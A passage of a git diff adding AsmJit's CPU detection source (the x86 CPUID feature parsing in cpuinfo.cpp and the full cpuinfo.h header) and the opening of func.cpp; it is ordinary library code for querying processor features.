'l' } }, + { CpuInfo::kVendorAMD , { 'A', 'u', 't', 'h', 'e', 'n', 't', 'i', 'c', 'A', 'M', 'D' } }, + { CpuInfo::kVendorVIA , { 'V', 'I', 'A', 0 , 'V', 'I', 'A', 0 , 'V', 'I', 'A', 0 } }, + { CpuInfo::kVendorVIA , { 'C', 'e', 'n', 't', 'a', 'u', 'r', 'H', 'a', 'u', 'l', 's' } } + }; + + uint32_t dw0 = reinterpret_cast(vendorString)[0]; + uint32_t dw1 = reinterpret_cast(vendorString)[1]; + uint32_t dw2 = reinterpret_cast(vendorString)[2]; + + for (uint32_t i = 0; i < ASMJIT_ARRAY_SIZE(vendorList); i++) { + if (dw0 == reinterpret_cast(vendorList[i].text)[0] && + dw1 == reinterpret_cast(vendorList[i].text)[1] && + dw2 == reinterpret_cast(vendorList[i].text)[2]) + return vendorList[i].id; + } + + return CpuInfo::kVendorNone; +} + +static ASMJIT_INLINE void x86SimplifyBrandString(char* s) noexcept { + // Used to always clear the current character to ensure that the result + // doesn't contain garbage after the new zero terminator. + char* d = s; + + char prev = 0; + char curr = s[0]; + s[0] = '\0'; + + for (;;) { + if (curr == 0) + break; + + if (curr == ' ') { + if (prev == '@' || s[1] == ' ' || s[1] == '@') + goto L_Skip; + } + + d[0] = curr; + d++; + prev = curr; + +L_Skip: + curr = *++s; + s[0] = '\0'; + } + + d[0] = '\0'; +} + +ASMJIT_FAVOR_SIZE static void x86DetectCpuInfo(CpuInfo* cpuInfo) noexcept { + uint32_t i, maxId; + + CpuIdResult regs; + XGetBVResult xcr0 = { 0, 0 }; + + cpuInfo->_archInfo.init(ArchInfo::kTypeHost); + cpuInfo->addFeature(CpuInfo::kX86FeatureI486); + + // -------------------------------------------------------------------------- + // [CPUID EAX=0x0] + // -------------------------------------------------------------------------- + + // Get vendor string/id. + x86CallCpuId(®s, 0x0); + + maxId = regs.eax; + ::memcpy(cpuInfo->_vendorString + 0, ®s.ebx, 4); + ::memcpy(cpuInfo->_vendorString + 4, ®s.edx, 4); + ::memcpy(cpuInfo->_vendorString + 8, ®s.ecx, 4); + cpuInfo->_vendorId = x86GetCpuVendorID(cpuInfo->_vendorString); + + // -------------------------------------------------------------------------- + // [CPUID EAX=0x1] + // -------------------------------------------------------------------------- + + if (maxId >= 0x1) { + // Get feature flags in ECX/EDX and family/model in EAX. + x86CallCpuId(®s, 0x1); + + // Fill family and model fields. + cpuInfo->_family = (regs.eax >> 8) & 0x0F; + cpuInfo->_model = (regs.eax >> 4) & 0x0F; + cpuInfo->_stepping = (regs.eax ) & 0x0F; + + // Use extended family and model fields. + if (cpuInfo->_family == 0x0F) { + cpuInfo->_family += ((regs.eax >> 20) & 0xFF); + cpuInfo->_model += ((regs.eax >> 16) & 0x0F) << 4; + } + + cpuInfo->_x86Data._processorType = ((regs.eax >> 12) & 0x03); + cpuInfo->_x86Data._brandIndex = ((regs.ebx ) & 0xFF); + cpuInfo->_x86Data._flushCacheLineSize = ((regs.ebx >> 8) & 0xFF) * 8; + cpuInfo->_x86Data._maxLogicalProcessors = ((regs.ebx >> 16) & 0xFF); + + if (regs.ecx & 0x00000001U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSE3); + if (regs.ecx & 0x00000002U) cpuInfo->addFeature(CpuInfo::kX86FeaturePCLMULQDQ); + if (regs.ecx & 0x00000008U) cpuInfo->addFeature(CpuInfo::kX86FeatureMONITOR); + if (regs.ecx & 0x00000200U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSSE3); + if (regs.ecx & 0x00002000U) cpuInfo->addFeature(CpuInfo::kX86FeatureCMPXCHG16B); + if (regs.ecx & 0x00080000U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSE4_1); + if (regs.ecx & 0x00100000U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSE4_2); + if (regs.ecx & 0x00400000U) cpuInfo->addFeature(CpuInfo::kX86FeatureMOVBE); + if (regs.ecx & 0x00800000U) cpuInfo->addFeature(CpuInfo::kX86FeaturePOPCNT); + if (regs.ecx & 0x02000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAESNI); + if (regs.ecx & 0x04000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureXSAVE); + if (regs.ecx & 0x08000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureOSXSAVE); + if (regs.ecx & 0x40000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureRDRAND); + if (regs.edx & 0x00000010U) cpuInfo->addFeature(CpuInfo::kX86FeatureRDTSC); + if (regs.edx & 0x00000020U) cpuInfo->addFeature(CpuInfo::kX86FeatureMSR); + if (regs.edx & 0x00000100U) cpuInfo->addFeature(CpuInfo::kX86FeatureCMPXCHG8B); + if (regs.edx & 0x00008000U) cpuInfo->addFeature(CpuInfo::kX86FeatureCMOV); + if (regs.edx & 0x00080000U) cpuInfo->addFeature(CpuInfo::kX86FeatureCLFLUSH); + if (regs.edx & 0x00800000U) cpuInfo->addFeature(CpuInfo::kX86FeatureMMX); + if (regs.edx & 0x01000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureFXSR); + if (regs.edx & 0x02000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSE) + .addFeature(CpuInfo::kX86FeatureMMX2); + if (regs.edx & 0x04000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSE) + .addFeature(CpuInfo::kX86FeatureSSE2); + if (regs.edx & 0x10000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureMT); + + // Get the content of XCR0 if supported by CPU and enabled by OS. + if ((regs.ecx & 0x0C000000U) == 0x0C000000U) { + x86CallXGetBV(&xcr0, 0); + } + + // Detect AVX+. + if (regs.ecx & 0x10000000U) { + // - XCR0[2:1] == 11b + // XMM & YMM states need to be enabled by OS. + if ((xcr0.eax & 0x00000006U) == 0x00000006U) { + cpuInfo->addFeature(CpuInfo::kX86FeatureAVX); + + if (regs.ecx & 0x00001000U) cpuInfo->addFeature(CpuInfo::kX86FeatureFMA); + if (regs.ecx & 0x20000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureF16C); + } + } + } + + // -------------------------------------------------------------------------- + // [CPUID EAX=0x7] + // -------------------------------------------------------------------------- + + // Detect new features if the processor supports CPUID-07. + bool maybeMPX = false; + + if (maxId >= 0x7) { + x86CallCpuId(®s, 0x7); + + if (regs.ebx & 0x00000001U) cpuInfo->addFeature(CpuInfo::kX86FeatureFSGSBASE); + if (regs.ebx & 0x00000008U) cpuInfo->addFeature(CpuInfo::kX86FeatureBMI); + if (regs.ebx & 0x00000010U) cpuInfo->addFeature(CpuInfo::kX86FeatureHLE); + if (regs.ebx & 0x00000080U) cpuInfo->addFeature(CpuInfo::kX86FeatureSMEP); + if (regs.ebx & 0x00000100U) cpuInfo->addFeature(CpuInfo::kX86FeatureBMI2); + if (regs.ebx & 0x00000200U) cpuInfo->addFeature(CpuInfo::kX86FeatureERMS); + if (regs.ebx & 0x00000800U) cpuInfo->addFeature(CpuInfo::kX86FeatureRTM); + if (regs.ebx & 0x00004000U) maybeMPX = true; + if (regs.ebx & 0x00040000U) cpuInfo->addFeature(CpuInfo::kX86FeatureRDSEED); + if (regs.ebx & 0x00080000U) cpuInfo->addFeature(CpuInfo::kX86FeatureADX); + if (regs.ebx & 0x00100000U) cpuInfo->addFeature(CpuInfo::kX86FeatureSMAP); + if (regs.ebx & 0x00400000U) cpuInfo->addFeature(CpuInfo::kX86FeaturePCOMMIT); + if (regs.ebx & 0x00800000U) cpuInfo->addFeature(CpuInfo::kX86FeatureCLFLUSHOPT); + if (regs.ebx & 0x01000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureCLWB); + if (regs.ebx & 0x20000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureSHA); + if (regs.ecx & 0x00000001U) cpuInfo->addFeature(CpuInfo::kX86FeaturePREFETCHWT1); + + // TSX is supported if at least one of `HLE` and `RTM` is supported. + if (regs.ebx & 0x00000810U) cpuInfo->addFeature(CpuInfo::kX86FeatureTSX); + + // Detect AVX2. + if (cpuInfo->hasFeature(CpuInfo::kX86FeatureAVX)) { + if (regs.ebx & 0x00000020U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX2); + } + + // Detect AVX-512+. + if (regs.ebx & 0x00010000U) { + // - XCR0[2:1] == 11b + // XMM/YMM states need to be enabled by OS. + // - XCR0[7:5] == 111b + // Upper 256-bit of ZMM0-XMM15 and ZMM16-ZMM31 need to be enabled by the OS. + if ((xcr0.eax & 0x000000E6U) == 0x000000E6U) { + cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_F); + + if (regs.ebx & 0x00020000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_DQ); + if (regs.ebx & 0x00200000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_IFMA); + if (regs.ebx & 0x04000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_PFI); + if (regs.ebx & 0x08000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_ERI); + if (regs.ebx & 0x10000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_CDI); + if (regs.ebx & 0x40000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_BW); + if (regs.ebx & 0x80000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_VL); + if (regs.ecx & 0x00000002U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_VBMI); + if (regs.ecx & 0x00004000U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_VPOPCNTDQ); + if (regs.edx & 0x00000004U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_4VNNIW); + if (regs.edx & 0x00000008U) cpuInfo->addFeature(CpuInfo::kX86FeatureAVX512_4FMAPS); + } + } + } + + // -------------------------------------------------------------------------- + // [CPUID EAX=0xD] + // -------------------------------------------------------------------------- + + if (maxId >= 0xD) { + x86CallCpuId(®s, 0xD, 0); + + // Both CPUID result and XCR0 has to be enabled to have support for MPX. + if (((regs.eax & xcr0.eax) & 0x00000018U) == 0x00000018U && maybeMPX) + cpuInfo->addFeature(CpuInfo::kX86FeatureMPX); + + x86CallCpuId(®s, 0xD, 1); + if (regs.eax & 0x00000001U) cpuInfo->addFeature(CpuInfo::kX86FeatureXSAVEOPT); + if (regs.eax & 0x00000002U) cpuInfo->addFeature(CpuInfo::kX86FeatureXSAVEC); + if (regs.eax & 0x00000008U) cpuInfo->addFeature(CpuInfo::kX86FeatureXSAVES); + } + + // -------------------------------------------------------------------------- + // [CPUID EAX=0x80000000...maxId] + // -------------------------------------------------------------------------- + + // The highest EAX that we understand. + uint32_t kHighestProcessedEAX = 0x80000008U; + + // Several CPUID calls are required to get the whole branc string. It's easy + // to copy one DWORD at a time instead of performing a byte copy. + uint32_t* brand = reinterpret_cast(cpuInfo->_brandString); + + i = maxId = 0x80000000U; + do { + x86CallCpuId(®s, i); + switch (i) { + case 0x80000000U: + maxId = std::min(regs.eax, kHighestProcessedEAX); + break; + + case 0x80000001U: + if (regs.ecx & 0x00000001U) cpuInfo->addFeature(CpuInfo::kX86FeatureLAHFSAHF); + if (regs.ecx & 0x00000020U) cpuInfo->addFeature(CpuInfo::kX86FeatureLZCNT); + if (regs.ecx & 0x00000040U) cpuInfo->addFeature(CpuInfo::kX86FeatureSSE4A); + if (regs.ecx & 0x00000080U) cpuInfo->addFeature(CpuInfo::kX86FeatureMSSE); + if (regs.ecx & 0x00000100U) cpuInfo->addFeature(CpuInfo::kX86FeaturePREFETCHW); + if (regs.ecx & 0x00200000U) cpuInfo->addFeature(CpuInfo::kX86FeatureTBM); + if (regs.edx & 0x00100000U) cpuInfo->addFeature(CpuInfo::kX86FeatureNX); + if (regs.edx & 0x00200000U) cpuInfo->addFeature(CpuInfo::kX86FeatureFXSROPT); + if (regs.edx & 0x00400000U) cpuInfo->addFeature(CpuInfo::kX86FeatureMMX2); + if (regs.edx & 0x08000000U) cpuInfo->addFeature(CpuInfo::kX86FeatureRDTSCP); + if (regs.edx & 0x40000000U) cpuInfo->addFeature(CpuInfo::kX86Feature3DNOW2) + .addFeature(CpuInfo::kX86FeatureMMX2); + if (regs.edx & 0x80000000U) cpuInfo->addFeature(CpuInfo::kX86Feature3DNOW); + + if (cpuInfo->hasFeature(CpuInfo::kX86FeatureAVX)) { + if (regs.ecx & 0x00000800U) cpuInfo->addFeature(CpuInfo::kX86FeatureXOP); + if (regs.ecx & 0x00010000U) cpuInfo->addFeature(CpuInfo::kX86FeatureFMA4); + } + + // These seem to be only supported by AMD. + if (cpuInfo->getVendorId() == CpuInfo::kVendorAMD) { + if (regs.ecx & 0x00000010U) cpuInfo->addFeature(CpuInfo::kX86FeatureALTMOVCR8); + } + break; + + case 0x80000002U: + case 0x80000003U: + case 0x80000004U: + *brand++ = regs.eax; + *brand++ = regs.ebx; + *brand++ = regs.ecx; + *brand++ = regs.edx; + + // Go directly to the last one. + if (i == 0x80000004U) i = 0x80000008U - 1; + break; + + case 0x80000008U: + if (regs.ebx & 0x00000001U) cpuInfo->addFeature(CpuInfo::kX86FeatureCLZERO); + break; + } + } while (++i <= maxId); + + // Simplify CPU brand string by removing unnecessary spaces. + x86SimplifyBrandString(cpuInfo->_brandString); +} +#endif // ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 + +// ============================================================================ +// [asmjit::CpuInfo - Detect - HWThreadsCount] +// ============================================================================ + +static ASMJIT_INLINE uint32_t cpuDetectHWThreadsCount() noexcept { +#if ASMJIT_OS_WINDOWS + SYSTEM_INFO info; + ::GetSystemInfo(&info); + return info.dwNumberOfProcessors; +#elif ASMJIT_OS_POSIX && defined(_SC_NPROCESSORS_ONLN) + long res = ::sysconf(_SC_NPROCESSORS_ONLN); + if (res <= 0) return 1; + return static_cast(res); +#else + return 1; +#endif +} + +// ============================================================================ +// [asmjit::CpuInfo - Detect] +// ============================================================================ + +ASMJIT_FAVOR_SIZE void CpuInfo::detect() noexcept { + reset(); + +#if ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 + armDetectCpuInfo(this); +#endif // ASMJIT_ARCH_ARM32 || ASMJIT_ARCH_ARM64 + +#if ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 + x86DetectCpuInfo(this); +#endif // ASMJIT_ARCH_X86 || ASMJIT_ARCH_X64 + + _hwThreadsCount = cpuDetectHWThreadsCount(); +} + +// ============================================================================ +// [asmjit::CpuInfo - GetHost] +// ============================================================================ + +struct HostCpuInfo : public CpuInfo { + ASMJIT_INLINE HostCpuInfo() noexcept : CpuInfo() { detect(); } +}; + +const CpuInfo& CpuInfo::getHost() noexcept { + static HostCpuInfo host; + return host; +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/cpuinfo.h b/asmjit/src/asmjit/base/cpuinfo.h new file mode 100644 index 0000000..268d37e --- /dev/null +++ b/asmjit/src/asmjit/base/cpuinfo.h @@ -0,0 +1,373 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_CPUINFO_H +#define _ASMJIT_BASE_CPUINFO_H + +// [Dependencies] +#include "../base/arch.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::CpuFeatures] +// ============================================================================ + +class CpuFeatures { +public: + typedef uintptr_t BitWord; + + enum { + kMaxFeatures = 128, + kBitWordSize = static_cast(sizeof(BitWord)) * 8, + kNumBitWords = kMaxFeatures / kBitWordSize + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE CpuFeatures() noexcept { reset(); } + ASMJIT_INLINE CpuFeatures(const CpuFeatures& other) noexcept { init(other); } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void init(const CpuFeatures& other) noexcept { ::memcpy(this, &other, sizeof(*this)); } + ASMJIT_INLINE void reset() noexcept { ::memset(this, 0, sizeof(*this)); } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + //! Get all features as `BitWord` array. + ASMJIT_INLINE BitWord* getBits() noexcept { return _bits; } + //! Get all features as `BitWord` array (const). + ASMJIT_INLINE const BitWord* getBits() const noexcept { return _bits; } + + //! Get if feature `feature` is present. + ASMJIT_INLINE bool has(uint32_t feature) const noexcept { + ASMJIT_ASSERT(feature < kMaxFeatures); + + uint32_t idx = feature / kBitWordSize; + uint32_t bit = feature % kBitWordSize; + + return static_cast((_bits[idx] >> bit) & 0x1); + } + + //! Get if all features as defined by `other` are present. + ASMJIT_INLINE bool hasAll(const CpuFeatures& other) const noexcept { + for (uint32_t i = 0; i < kNumBitWords; i++) + if ((_bits[i] & other._bits[i]) != other._bits[i]) + return false; + return true; + } + + //! Add a CPU `feature`. + ASMJIT_INLINE CpuFeatures& add(uint32_t feature) noexcept { + ASMJIT_ASSERT(feature < kMaxFeatures); + + uint32_t idx = feature / kBitWordSize; + uint32_t bit = feature % kBitWordSize; + + _bits[idx] |= static_cast(1) << bit; + return *this; + } + + //! Remove a CPU `feature`. + ASMJIT_INLINE CpuFeatures& remove(uint32_t feature) noexcept { + ASMJIT_ASSERT(feature < kMaxFeatures); + + uint32_t idx = feature / kBitWordSize; + uint32_t bit = feature % kBitWordSize; + + _bits[idx] &= ~(static_cast(1) << bit); + return *this; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + BitWord _bits[kNumBitWords]; +}; + +// ============================================================================ +// [asmjit::CpuInfo] +// ============================================================================ + +//! CPU information. +class CpuInfo { +public: + //! CPU vendor ID. + ASMJIT_ENUM(Vendor) { + kVendorNone = 0, //!< Generic or unknown. + kVendorIntel = 1, //!< Intel vendor. + kVendorAMD = 2, //!< AMD vendor. + kVendorVIA = 3 //!< VIA vendor. + }; + + //! ARM/ARM64 CPU features. + ASMJIT_ENUM(ArmFeatures) { + kArmFeatureV6 = 1, //!< ARMv6 instruction set. + kArmFeatureV7, //!< ARMv7 instruction set. + kArmFeatureV8, //!< ARMv8 instruction set. + kArmFeatureTHUMB, //!< CPU provides THUMB v1 instruction set (THUMB mode). + kArmFeatureTHUMB2, //!< CPU provides THUMB v2 instruction set (THUMB mode). + kArmFeatureVFPv2, //!< CPU provides VFPv2 instruction set. + kArmFeatureVFPv3, //!< CPU provides VFPv3 instruction set. + kArmFeatureVFPv4, //!< CPU provides VFPv4 instruction set. + kArmFeatureVFP_D32, //!< CPU provides 32 VFP-D (64-bit) registers. + kArmFeatureEDSP, //!< CPU provides EDSP extensions. + kArmFeatureASIMD, //!< CPU provides 'Advanced SIMD'. + kArmFeatureIDIVA, //!< CPU provides hardware SDIV and UDIV (ARM mode). + kArmFeatureIDIVT, //!< CPU provides hardware SDIV and UDIV (THUMB mode). + kArmFeatureAES, //!< CPU provides AES instructions (ARM64 only). + kArmFeatureCRC32, //!< CPU provides CRC32 instructions. + kArmFeaturePMULL, //!< CPU provides PMULL instructions (ARM64 only). + kArmFeatureSHA1, //!< CPU provides SHA1 instructions. + kArmFeatureSHA256, //!< CPU provides SHA256 instructions. + kArmFeatureAtomics64, //!< CPU provides 64-bit load/store atomics (ARM64 only). + + kArmFeaturesCount //!< Count of ARM/ARM64 CPU features. + }; + + //! X86/X64 CPU features. + ASMJIT_ENUM(X86Features) { + kX86FeatureI486 = 1, //!< CPU is at least I486. + kX86FeatureNX, //!< CPU has Not-Execute-Bit. + kX86FeatureMT, //!< CPU has multi-threading. + kX86FeatureALTMOVCR8, //!< CPU supports `LOCK MOV CR8` (AMD CPUs). + kX86FeatureCMOV, //!< CPU has CMOV. + kX86FeatureCMPXCHG8B, //!< CPU has CMPXCHG8B. + kX86FeatureCMPXCHG16B, //!< CPU has CMPXCHG16B (x64). + kX86FeatureMSR, //!< CPU has RDMSR/WRMSR. + kX86FeatureRDTSC, //!< CPU has RDTSC. + kX86FeatureRDTSCP, //!< CPU has RDTSCP. + kX86FeatureCLFLUSH, //!< CPU has CLFUSH. + kX86FeatureCLFLUSHOPT, //!< CPU has CLFUSHOPT. + kX86FeatureCLWB, //!< CPU has CLWB. + kX86FeatureCLZERO, //!< CPU has CLZERO. + kX86FeaturePCOMMIT, //!< CPU has PCOMMIT. + kX86FeaturePREFETCHW, //!< CPU has PREFETCHW. + kX86FeaturePREFETCHWT1, //!< CPU has PREFETCHWT1. + kX86FeatureLAHFSAHF, //!< CPU has LAHF/SAHF. + kX86FeatureFXSR, //!< CPU has FXSAVE/FXRSTOR. + kX86FeatureFXSROPT, //!< CPU has FXSAVE/FXRSTOR (optimized). + kX86FeatureMMX, //!< CPU has MMX. + kX86FeatureMMX2, //!< CPU has extended MMX. + kX86Feature3DNOW, //!< CPU has 3DNOW. + kX86Feature3DNOW2, //!< CPU has 3DNOW2 (enhanced). + kX86FeatureGEODE, //!< CPU has GEODE extensions (few additions to 3DNOW). + kX86FeatureSSE, //!< CPU has SSE. + kX86FeatureSSE2, //!< CPU has SSE2. + kX86FeatureSSE3, //!< CPU has SSE3. + kX86FeatureSSSE3, //!< CPU has SSSE3. + kX86FeatureSSE4A, //!< CPU has SSE4.A. + kX86FeatureSSE4_1, //!< CPU has SSE4.1. + kX86FeatureSSE4_2, //!< CPU has SSE4.2. + kX86FeatureMSSE, //!< CPU has Misaligned SSE (MSSE). + kX86FeatureMONITOR, //!< CPU has MONITOR and MWAIT. + kX86FeatureMOVBE, //!< CPU has MOVBE. + kX86FeaturePOPCNT, //!< CPU has POPCNT. + kX86FeatureLZCNT, //!< CPU has LZCNT. + kX86FeatureAESNI, //!< CPU has AESNI. + kX86FeaturePCLMULQDQ, //!< CPU has PCLMULQDQ. + kX86FeatureRDRAND, //!< CPU has RDRAND. + kX86FeatureRDSEED, //!< CPU has RDSEED. + kX86FeatureSMAP, //!< CPU has SMAP (supervisor-mode access prevention). + kX86FeatureSMEP, //!< CPU has SMEP (supervisor-mode execution prevention). + kX86FeatureSHA, //!< CPU has SHA-1 and SHA-256. + kX86FeatureXSAVE, //!< CPU has XSAVE support (XSAVE/XRSTOR, XSETBV/XGETBV, and XCR). + kX86FeatureXSAVEC, //!< CPU has XSAVEC support (XSAVEC). + kX86FeatureXSAVES, //!< CPU has XSAVES support (XSAVES/XRSTORS). + kX86FeatureXSAVEOPT, //!< CPU has XSAVEOPT support (XSAVEOPT/XSAVEOPT64). + kX86FeatureOSXSAVE, //!< CPU has XSAVE enabled by OS. + kX86FeatureAVX, //!< CPU has AVX. + kX86FeatureAVX2, //!< CPU has AVX2. + kX86FeatureF16C, //!< CPU has F16C. + kX86FeatureFMA, //!< CPU has FMA. + kX86FeatureFMA4, //!< CPU has FMA4. + kX86FeatureXOP, //!< CPU has XOP. + kX86FeatureBMI, //!< CPU has BMI (bit manipulation instructions #1). + kX86FeatureBMI2, //!< CPU has BMI2 (bit manipulation instructions #2). + kX86FeatureADX, //!< CPU has ADX (multi-precision add-carry instruction extensions). + kX86FeatureTBM, //!< CPU has TBM (trailing bit manipulation). + kX86FeatureMPX, //!< CPU has MPX (memory protection extensions). + kX86FeatureHLE, //!< CPU has HLE. + kX86FeatureRTM, //!< CPU has RTM. + kX86FeatureTSX, //!< CPU has TSX. + kX86FeatureERMS, //!< CPU has ERMS (enhanced REP MOVSB/STOSB). + kX86FeatureFSGSBASE, //!< CPU has FSGSBASE. + kX86FeatureAVX512_F, //!< CPU has AVX512-F (foundation). + kX86FeatureAVX512_CDI, //!< CPU has AVX512-CDI (conflict detection). + kX86FeatureAVX512_PFI, //!< CPU has AVX512-PFI (prefetch instructions). + kX86FeatureAVX512_ERI, //!< CPU has AVX512-ERI (exponential and reciprocal). + kX86FeatureAVX512_DQ, //!< CPU has AVX512-DQ (DWORD/QWORD). + kX86FeatureAVX512_BW, //!< CPU has AVX512-BW (BYTE/WORD). + kX86FeatureAVX512_VL, //!< CPU has AVX512-VL (vector length extensions). + kX86FeatureAVX512_IFMA, //!< CPU has AVX512-IFMA (integer fused-multiply-add using 52-bit precision). + kX86FeatureAVX512_VBMI, //!< CPU has AVX512-VBMI (vector byte manipulation). + kX86FeatureAVX512_VPOPCNTDQ, //!< CPU has AVX512-VPOPCNTDQ (VPOPCNT[D|Q] instructions). + kX86FeatureAVX512_4VNNIW, //!< CPU has AVX512-VNNIW (vector NN instructions word variable precision). + kX86FeatureAVX512_4FMAPS, //!< CPU has AVX512-FMAPS (FMA packed single). + + kX86FeaturesCount //!< Count of X86/X64 CPU features. + }; + + // -------------------------------------------------------------------------- + // [ArmInfo] + // -------------------------------------------------------------------------- + + struct ArmData { + }; + + // -------------------------------------------------------------------------- + // [X86Info] + // -------------------------------------------------------------------------- + + struct X86Data { + uint32_t _processorType; //!< Processor type. + uint32_t _brandIndex; //!< Brand index. + uint32_t _flushCacheLineSize; //!< Flush cache line size (in bytes). + uint32_t _maxLogicalProcessors; //!< Maximum number of addressable IDs for logical processors. + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE CpuInfo() noexcept { reset(); } + ASMJIT_INLINE CpuInfo(const CpuInfo& other) noexcept { init(other); } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + //! Initialize CpuInfo to the given architecture, see \ArchInfo. + ASMJIT_INLINE void initArch(uint32_t archType, uint32_t archMode = 0) noexcept { + _archInfo.init(archType, archMode); + } + + ASMJIT_INLINE void init(const CpuInfo& other) noexcept { ::memcpy(this, &other, sizeof(*this)); } + ASMJIT_INLINE void reset() noexcept { ::memset(this, 0, sizeof(*this)); } + + // -------------------------------------------------------------------------- + // [Detect] + // -------------------------------------------------------------------------- + + ASMJIT_API void detect() noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get generic architecture information. + ASMJIT_INLINE const ArchInfo& getArchInfo() const noexcept { return _archInfo; } + //! Get CPU architecture type, see \ArchInfo::Type. + ASMJIT_INLINE uint32_t getArchType() const noexcept { return _archInfo.getType(); } + //! Get CPU architecture sub-type, see \ArchInfo::SubType. + ASMJIT_INLINE uint32_t getArchSubType() const noexcept { return _archInfo.getSubType(); } + + //! Get CPU vendor ID. + ASMJIT_INLINE uint32_t getVendorId() const noexcept { return _vendorId; } + //! Get CPU family ID. + ASMJIT_INLINE uint32_t getFamily() const noexcept { return _family; } + //! Get CPU model ID. + ASMJIT_INLINE uint32_t getModel() const noexcept { return _model; } + //! Get CPU stepping. + ASMJIT_INLINE uint32_t getStepping() const noexcept { return _stepping; } + + //! Get number of hardware threads available. + ASMJIT_INLINE uint32_t getHwThreadsCount() const noexcept { + return _hwThreadsCount; + } + + //! Get all CPU features. + ASMJIT_INLINE const CpuFeatures& getFeatures() const noexcept { return _features; } + //! Get whether CPU has a `feature`. + ASMJIT_INLINE bool hasFeature(uint32_t feature) const noexcept { return _features.has(feature); } + //! Add a CPU `feature`. + ASMJIT_INLINE CpuInfo& addFeature(uint32_t feature) noexcept { _features.add(feature); return *this; } + + //! Get CPU vendor string. + ASMJIT_INLINE const char* getVendorString() const noexcept { return _vendorString; } + //! Get CPU brand string. + ASMJIT_INLINE const char* getBrandString() const noexcept { return _brandString; } + + // -------------------------------------------------------------------------- + // [Accessors - ARM] + // -------------------------------------------------------------------------- + + // -------------------------------------------------------------------------- + // [Accessors - X86] + // -------------------------------------------------------------------------- + + //! Get processor type. + ASMJIT_INLINE uint32_t getX86ProcessorType() const noexcept { + return _x86Data._processorType; + } + + //! Get brand index. + ASMJIT_INLINE uint32_t getX86BrandIndex() const noexcept { + return _x86Data._brandIndex; + } + + //! Get flush cache line size. + ASMJIT_INLINE uint32_t getX86FlushCacheLineSize() const noexcept { + return _x86Data._flushCacheLineSize; + } + + //! Get maximum logical processors count. + ASMJIT_INLINE uint32_t getX86MaxLogicalProcessors() const noexcept { + return _x86Data._maxLogicalProcessors; + } + + // -------------------------------------------------------------------------- + // [Statics] + // -------------------------------------------------------------------------- + + //! Get the host CPU information. + ASMJIT_API static const CpuInfo& getHost() noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + ArchInfo _archInfo; //!< CPU architecture information. + uint32_t _vendorId; //!< CPU vendor id, see \ref Vendor. + uint32_t _family; //!< CPU family ID. + uint32_t _model; //!< CPU model ID. + uint32_t _stepping; //!< CPU stepping. + uint32_t _hwThreadsCount; //!< Number of hardware threads. + CpuFeatures _features; //!< CPU features. + char _vendorString[16]; //!< CPU vendor string. + char _brandString[64]; //!< CPU brand string. + + // Architecture specific data. + union { + ArmData _armData; + X86Data _x86Data; + }; +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_CPUINFO_H diff --git a/asmjit/src/asmjit/base/func.cpp b/asmjit/src/asmjit/base/func.cpp new file mode 100644 index 0000000..5210765 --- /dev/null +++ b/asmjit/src/asmjit/base/func.cpp @@ -0,0 +1,186 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/arch.h" +#include "../base/func.h" + +#if defined(ASMJIT_BUILD_X86) +#include "../x86/x86internal_p.h" +#include "../x86/x86operand.h" +#endif // ASMJIT_BUILD_X86 + +#if defined(ASMJIT_BUILD_ARM) +#include "../arm/arminternal_p.h" +#include "../arm/armoperand.h" +#endif // ASMJIT_BUILD_ARM + +// [Api-Begin] +#include 